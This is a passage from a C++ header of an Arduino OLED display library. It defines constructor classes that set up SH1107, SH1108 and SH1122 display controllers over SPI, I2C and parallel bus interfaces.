u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_TK078F288_80X128_8080 : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_128X80_SW_I2C : public U8X8 { public: U8X8_SH1107_128X80_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_128X80_HW_I2C : public U8X8 { public: U8X8_SH1107_128X80_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_128X80_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_128X80_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_TK078F288_80X128_SW_I2C : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_TK078F288_80X128_HW_I2C : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_TK078F288_80X128_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_128X128_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_128X128_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_128X128_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_128X128_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_128X128_6800 : public U8X8 { public: U8X8_SH1107_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_128X128_8080 : public U8X8 { public: U8X8_SH1107_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_PIMORONI_128X128_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_PIMORONI_128X128_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_PIMORONI_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_PIMORONI_128X128_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_PIMORONI_128X128_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_PIMORONI_128X128_6800 : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_PIMORONI_128X128_8080 : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_SEEED_128X128_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_SEEED_128X128_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_SEEED_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_SEEED_128X128_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_SEEED_128X128_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_SEEED_128X128_6800 : public U8X8 { public: U8X8_SH1107_SEEED_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_SEEED_128X128_8080 : public U8X8 { public: U8X8_SH1107_SEEED_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_128X128_SW_I2C : public U8X8 { public: U8X8_SH1107_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_128X128_HW_I2C : public U8X8 { public: U8X8_SH1107_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_128X128_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_PIMORONI_128X128_SW_I2C : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_PIMORONI_128X128_HW_I2C : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_PIMORONI_128X128_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_PIMORONI_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_SEEED_128X128_SW_I2C : public U8X8 { public: U8X8_SH1107_SEEED_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_SEEED_128X128_HW_I2C : public U8X8 { public: U8X8_SH1107_SEEED_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_SEEED_128X128_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_SEEED_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1108_128X160_4W_SW_SPI : public U8X8 { public: U8X8_SH1108_128X160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1108_128X160_4W_HW_SPI : public U8X8 { public: U8X8_SH1108_128X160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1108_128X160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1108_128X160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1108_128X160_3W_SW_SPI : public U8X8 { public: U8X8_SH1108_128X160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1108_128X160_3W_HW_SPI : public U8X8 { public: U8X8_SH1108_128X160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1108_128X160_6800 : public U8X8 { public: U8X8_SH1108_128X160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1108_128X160_8080 : public U8X8 { public: U8X8_SH1108_128X160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1108_128X160_SW_I2C : public U8X8 { public: U8X8_SH1108_128X160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1108_128X160_HW_I2C : public U8X8 { public: U8X8_SH1108_128X160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1108_128X160_2ND_HW_I2C : public U8X8 { public: U8X8_SH1108_128X160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1108_160X160_4W_SW_SPI : public U8X8 { public: U8X8_SH1108_160X160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1108_160X160_4W_HW_SPI : public U8X8 { public: U8X8_SH1108_160X160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1108_160X160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1108_160X160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1108_160X160_3W_SW_SPI : public U8X8 { public: U8X8_SH1108_160X160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1108_160X160_3W_HW_SPI : public U8X8 { public: U8X8_SH1108_160X160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1108_160X160_6800 : public U8X8 { public: U8X8_SH1108_160X160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1108_160X160_8080 : public U8X8 { public: U8X8_SH1108_160X160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1108_160X160_SW_I2C : public U8X8 { public: U8X8_SH1108_160X160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1108_160X160_HW_I2C : public U8X8 { public: U8X8_SH1108_160X160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1108_160X160_2ND_HW_I2C : public U8X8 { public: U8X8_SH1108_160X160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1122_256X64_4W_SW_SPI : public U8X8 { public: U8X8_SH1122_256X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1122_256X64_4W_HW_SPI : public U8X8 { public: U8X8_SH1122_256X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1122_256X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1122_256X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, 